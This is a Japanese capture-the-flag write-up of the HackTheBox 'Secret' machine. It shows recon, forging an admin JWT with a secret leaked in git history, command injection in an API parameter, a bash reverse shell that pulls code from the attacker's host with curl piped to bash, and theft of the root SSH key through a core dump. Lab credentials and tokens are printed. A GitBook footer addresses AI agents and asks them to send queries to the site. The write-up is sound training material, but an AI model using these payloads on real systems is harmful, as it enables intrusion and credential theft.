> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Secret HackTheBox攻略記事コード解析、API悪用、Json Web Tokens（JWT）、Core Dumpの悪用/活用（権限昇格）を扱うSecret HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。 {% embed url="" %} {% hint style="warning" %} **スキル**: * コード解析 * APIの悪用 * JSON Web Token（JWT） * Core Dumpの悪用/活用（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80,22,3000）

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```

DNSを介してドメイン名をIPアドレスに解決するには、そのIPアドレスに対応するドメイン名を次の `/etc/hosts` ファイル：

> **観察**: 同じWebサイトが80番と3000番ポートでアクセス可能です。

**ディレクトリ検索：** サイト上のディレクトリを検索するためにGobusterを使います： ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

## APIユーザーを登録する "docs" セクションに、ユーザー登録の手順があります。ユーザー「jordan」の例：

```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```

## 認証API 接続するには： ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` これにより認証トークン（`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

### デフォルトのJSON本文を確認

`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`

### 脆弱性の確認 [JSON Web Token](/ja/web-vulnerabilities/json-web-token-jwt-attack.md) JWTをデコードして内容を読み取り、操作するためのサイトを使います。 > **注**: JWTトークンは無効であるはずです。"name"と"email"フィールドを管理者のものに変更すると： {% embed url="" %}

`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

### 非公開APIへのアクセスを試みる：変更したJWTを使って非公開APIに接続しようとしています： {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} 「invalid token」というメッセージが返ってきます。

独自のJWTでは通常ユーザーとしてアクセスできます： {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} 「You are normal user」というメッセージが返ってきます。

## WfuzzによるAPIルートの列挙利用可能なルートを調べるためにWfuzzを使います： {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} 新しい発見： `/api/logs` ルート。

## ソースコード解析 Webページにはソースコードをダウンロードするオプションがあります。

> **発見** : * A `.env` を含むファイル `token_secret` 値は「secret」です。

A `.git` ファイルの削除を示すコミットがあるフォルダ `.env`.

古い削除済みの `token_secret` が見つかります： `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

この古い `token_secret` を使って管理者情報を含むJWTに署名し、非公開APIにアクセスします： `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **結果**管理者としての歓迎メッセージ: 「welcome back admin」.

最後に、を実行すると `/api/logs` ルートで、次の内容が表示されます： ```json "cmd": "git log --oneline undefined" ```

を調べると `privitate.js` ファイルとコードを分析すると、次のことがわかります：

## RCE脆弱性： {% hint style="info" %} このコードにはコマンドインジェクションによるセキュリティ上の問題があります。なぜなら `ファイル` クエリパラメータから取得され、端末コマンドに直接挿入されるため、悪意のあるユーザーは変更できます `ファイル` 他のコマンドを実行できるようになります。このルートの機能は、を実行することです `git log --oneline [file]` システム上でのコマンドで、ここで `[file]` は、リクエストのクエリパラメータで指定された特定のファイルです。 {% endhint %} 例として `curl` を注入しようとするコマンド `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}

#### リバースシェルを実行します： 1. 作成する `index.html` 自分のマシン上のファイルで、以下の内容のWebサーバーを作成します： ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. 次に、4444番ポートで待ち受けます： ```bash nc -nlvp 4444 ``` を使ってインジェクションを実行します `curl` 自分たちのWebサーバー上で： {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}

### フラグ user.txt :)

**ターミナル操作：**/ Linuxサーバーにアクセスできたら、ターミナルで効率的に処理するためのコマンドは以下のとおりです： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### より快適に作業できるよう、シェルを安定化します。 ## 権限昇格（SUID）次のコマンドで、ユーザーに **SUID権限があるか確認します**: ```bash find / -perm -4000 2>/dev/null ``` 次の場所にある珍しいファイルが見つかります： `/opt/count`、所有者は `root`.

このバイナリを実行するとファイルの入力を求められ、その後、文字数・単語数・行数の合計を表示します。このスクリプトはファイルの内容を読み取り、そのプロパティを表示します。

### Core Dumpバイナリソースコードを調べると、エラー時に内容を一時的に保存するcore dumpが生成されることがわかります。

エラーは `/var/crash` ディレクトリに保存されます。core dumpを作成する方法は次のとおりです： 1. **ファイルまたはディレクトリ名を入力してください：** ```bash ソースのファイル/ディレクトリ名を入力してください: /root/.ssh/id_rsa ``` *（SSHのroot鍵）* 2. **結果をファイルに保存しますか？** ```` ```css 結果をファイルに保存しますか？ [y/N]: ^Z ``` ```` *（バックグラウンドに移す）* 3. **PIDを取得：** ```` ```bash ps ``` _(PIDをコピー)_ ```` 4\. **プロセスを終了する：** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **バイナリを再実行：** ```` ```bash fg ``` ```` 6\. **core dumpディレクトリを確認：** ```` ```bash ls -l /var/crash ``` ```` *（新しいファイルが現れます： `_opt_count.1000.crash`)*

これで、rootのSSH鍵を含むbase64形式のcore dumpが手に入りました。

### Apport-umpack 情報を抽出するために、 `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` 次に、ファイルの内容を以下で表示します `/tmp/ssh/coredump` を使って `strings`:

SSHのroot鍵が見つかります

### SSH接続作成したら `id_rsa` 権限600のファイルを用意できたら、SSHで接続できます： ```bash ssh root@10.10.11.120 -i id_rsa ```

### rootのフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.